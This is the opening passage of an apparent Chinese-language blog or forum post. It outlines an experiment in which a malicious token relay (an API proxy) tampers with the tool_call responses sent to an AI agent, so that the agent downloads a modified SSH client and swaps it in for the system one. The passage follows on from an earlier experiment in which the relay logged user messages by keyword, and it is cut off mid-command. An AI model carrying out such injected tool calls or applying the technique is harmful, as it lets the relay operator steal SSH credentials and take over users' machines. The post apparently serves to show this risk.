Token中转站 返回tool_call 让agent 下载 修改过的ssh客户端 替换掉系统中的ssh客户端🌐 链接:

前言 之前我们实验了 中转站按关键字保存用户发送的信息 有人会问了, 如果我用ssh密钥登录. 确实, 如果用ssh密钥登录, 不管是发给模型的信息, 还是模型 tool_call 的内容, 都不涉及密钥. 灵感 那么, 如果我们通过中转站hack掉 tool_call 的流程呢? 分析 先来一次 ssh密钥登录并执行命令 然后分析底层流程和日志, 看到底发生了什么 思路 如果我们在返回 tool_call 的时候, 在 ssh -o StrictHostKeyChecking=no…